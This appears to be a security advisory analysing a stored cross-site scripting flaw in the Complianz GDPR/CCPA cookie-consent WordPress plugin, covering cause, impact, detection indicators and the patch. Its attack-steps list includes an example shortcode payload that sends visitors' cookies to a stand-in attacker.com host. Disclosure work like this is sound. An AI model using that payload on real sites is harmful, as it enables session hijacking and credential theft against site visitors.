CVE-2025-11185: 
WordPress vulnerability analysis and mitigation

CVE-2025-11185 is a Stored Cross-Site Scripting (XSS) vulnerability in the Complianz – GDPR/CCPA Cookie Consent plugin for WordPress. It affects all versions up to and including 7.4.3, stemming from insufficient input sanitization and output escaping on user-supplied attributes in the cmplz-accept-link shortcode. The vulnerability was published on February 18, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). Authenticated attackers with contributor-level access or above can inject arbitrary JavaScript via malicious attributes passed to the cmplz-accept-link shortcode, which are then rendered unsanitized in page output. Because the scope is changed (S:C in CVSS), the injected script executes in the context of any user who visits the affected page, not just the attacker's session. No public proof-of-concept exploit code has been identified at this time (Red Hat CVE, Wordfence).

Successful exploitation allows an authenticated contributor-level attacker to persistently inject malicious scripts into WordPress pages, which execute in the browsers of all subsequent visitors. This can lead to session cookie theft, credential harvesting, defacement, or redirection of users to malicious sites. While availability is not directly impacted, confidentiality and integrity are both at risk for site visitors and potentially site administrators (Red Hat CVE, Sucuri).

No active in-the-wild exploitation has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is extremely low at 0.01%, indicating a low probability of near-term exploitation. Exploitation requires at minimum contributor-level authentication on the target WordPress site, which limits the attack surface compared to unauthenticated vulnerabilities (Red Hat CVE, Wordfence).

1. Reconnaissance: Identify WordPress sites running Complianz – GDPR/CCPA Cookie Consent plugin version 7.4.3 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible readme files.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert the cmplz-accept-link shortcode with a malicious attribute, e.g., [cmplz-accept-link attribute=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish content: Submit the post for review or publish it directly (depending on role permissions), embedding the stored XSS payload in the page.
5. Trigger execution: When any user (including administrators) visits the injected page, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Red Hat CVE, Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing cmplz-accept-link shortcode with unusual or encoded attribute values; unexpected page edits by contributor-level accounts.
• File System: Modified or newly created WordPress post content in the database containing <script> tags or encoded JavaScript within cmplz-accept-link shortcode attributes.
• Network: Outbound requests from visitor browsers to unknown external domains shortly after loading pages containing the Complianz shortcode; unusual traffic to attacker-controlled cookie-harvesting endpoints.
• Process/Behavior: Unexpected admin account creation or privilege escalation events in WordPress logs following visitor interaction with affected pages.

Users should update the Complianz – GDPR/CCPA Cookie Consent plugin to version 7.4.4 or later, which addresses the insufficient sanitization and output escaping. As an interim measure, site administrators should restrict contributor-level user registrations and review existing contributor accounts for suspicious activity. Additionally, a Web Application Firewall (WAF) such as Wordfence can help detect and block XSS payloads targeting this shortcode (Wordfence, Sucuri).

Wordfence included CVE-2025-11185 in its weekly WordPress vulnerability report for the period of February 16–22, 2026, highlighting it as part of a broader set of plugin vulnerabilities tracked that week (Wordfence). Sucuri also referenced the vulnerability in its February 2026 patch roundup, recommending prompt updates for affected WordPress installations (Sucuri). No significant social media controversy or notable researcher commentary beyond standard disclosure coverage has been observed.